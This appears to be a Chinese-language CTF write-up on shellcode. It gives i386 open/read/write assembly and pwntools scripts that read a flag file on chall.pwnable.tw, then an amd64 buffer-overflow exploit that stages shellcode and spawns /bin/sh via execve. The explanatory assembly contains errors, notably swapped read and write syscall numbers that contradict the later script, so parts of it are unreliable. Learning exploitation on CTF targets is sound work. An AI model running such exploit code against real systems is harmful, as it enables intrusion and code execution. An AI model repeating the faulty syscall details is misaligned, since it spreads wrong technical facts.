简单shellcode学习

fd = open("/home/orw/flag","w");//首先打开文件
read(fd,buf,0x20);//读取文件的信息，放入到局部变量buf中
write(1,buf,0x20);//将变量buf的内容打印出来，这里的足够打印出flag的长度即可，由于不知道flag的具体长度可以设置为长一点

#首先对照伪C代码以及系统调用表进行shellcode的编写
fd = open("/home/orw/flag","w")
#相应的汇编
xor ecx,ecx #清空ecx寄存器，open的调用该寄存器的值设为null
xor edx,edx #清空edx寄存器，open的调用该寄存器的值设为null
mov eax,0x5 #调用号设置为5
push 0x006761 #将/home/orw/flag压入栈中，注意是栈是先进后出，因此字符串需要从最末尾开始压入即将字符
push 0x6c662f77 #转为16进制要反向排序，并且字符串需要添加截断符\x00，push要以4字节为单位。
push 0x726f2f65
push 0x6d6f682f
mov ebx,esp #fd的值为路径的地址
int 0x80 #调用80中断，实现系统调用

#c语言
read(fd,buf,0x20)或read(3,buf,0x20)#这里的3为其他文件描述符，下面会详细介绍
#相应的汇编
mov eax,0x4
mov ebx,0x3 #这里用3代替了oepn返回的fd指针，因为3可以用作于打开文件时的文件描述符，若想用open返回的指针则应该将系统调用号移动到eax寄存器前，先保存eax的内容。
mov ecx,esp #将esp作为临时变量buf的地址
mov edx,0x20 #读入的长度为0x20
int 0x80 #调用80中断，实现系统调用

#c语言
write(1,buf,0x20)
#相应的汇编
mov eax,0x3#系统调用号0x3
mov ebx,0x1#文件描述符为1，指向屏幕
mov ecx,esp #将esp作为临时变量buf的地址
mov edx,0x20 #打印的字符串的长度
int 0x80 #调用80中断，实现系统调用

#这里可以用pwntools库的一个函数代替,shellcraft
c语言:open("/home/orw/flag") <==> 汇编:asm(shellcraft.open("/home/orw/flag"))
c语言:read(3,buf,0x20)<==> 汇编:asm(shellcraft.read(3,"esp",0x20)
c语言:write(1,buf,0x20)<==>汇编:asm(shellcraft.write(1,"esp",0x20))
文件描述符

from pwn import *
context(log_level=‘debug‘,arch=‘i386‘,os=‘linux‘)
#sh = remote("node3.buuoj.cn",29479)
sh = remote("chall.pwnable.tw",10001)
sh.recvuntil("shellcode:")

payload = asm(shellcraft.open("/home/orw/flag"))
payload += asm(shellcraft.read(3,"esp",100))
payload += asm(shellcraft.write(1,"esp",100))
sh.sendline(payload)

sh.interactive()

from pwn import *

context(arch=‘i386‘,os=‘linux‘)
#sh = remote("node3.buuoj.cn",25212)
sh = remote("chall.pwnable.tw",10001)
sh.recvuntil("shellcode:")
payload = asm("xor ecx,ecx")
payload += asm("xor edx,edx")
payload += asm("mov eax,0x5")
payload += asm("push 0x006761")
payload += asm("push 0x6c662f77")
payload += asm("push 0x726f2f65")
payload += asm("push 0x6d6f682f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")

payload += asm("mov eax,0x3")
payload += asm("mov ebx,0x3")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x20")
payload += asm("int 0x80")

payload += asm("mov eax,0x4")
payload += asm("mov ebx,0x1")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x2")
payload += asm("int 0x80")

sh.sendline(payload)
sh.interactive()

payload = asm("mov rax,0;") #系统调用号
payload += asm("mov rdi,0;")#文件描述符
payload += asm("mov rsi,0x601080")#.bss段地址，用于buf地址
payload += asm("mov rdx,0x40")#输入长度
payload += asm("syscall")#syscall启动调用
payload += asm("push 0x601080")#返回地址
payload += asm("ret")#ret指令返回任意地址
payload = payload.ljust(0x38,‘b‘)
payload += p64(addr)

from pwn import *
context(log_level=‘debug‘,arch=‘amd64‘,os=‘linux‘)
sh = process("./pwn")
sh.recvuntil(" your choice:")
sh.sendline("3")
sh.recvuntil("What?")
payload = ‘a‘*0x28+p64(305419896)
sh.send(payload)
sh.recvuntil(" your choice:")
sh.sendline("2")
sh.recvuntil("It is magic: [")
addr = int(sh.recv(14),16)
print ‘addr:‘+hex(addr)
sh.sendline("3")
sh.recvuntil("What?")
payload = asm("mov rax,0;")
payload += asm("mov rdi,0;")
payload += asm("mov rsi,0x601080")
payload += asm("mov rdx,0x40")
payload += asm("syscall")
payload += asm("push 0x601080")
payload += asm("ret")
payload = payload.ljust(0x38,‘b‘)
payload += p64(addr)
#attach(sh)
sh.send(payload)
payload = asm("mov eax,59") #调用59号系统调用，execve("/bin/sh",0,0);
payload += asm("xor rsi,rsi")
payload += asm("xor rdx,rdx")
payload += asm("mov rdi, 0x6010a8")
payload += asm("syscall")
payload = payload.ljust(0x28,‘\x00‘)
payload += ‘/bin/sh\x00‘
attach(sh)
sh.send(payload)
sh.interactive()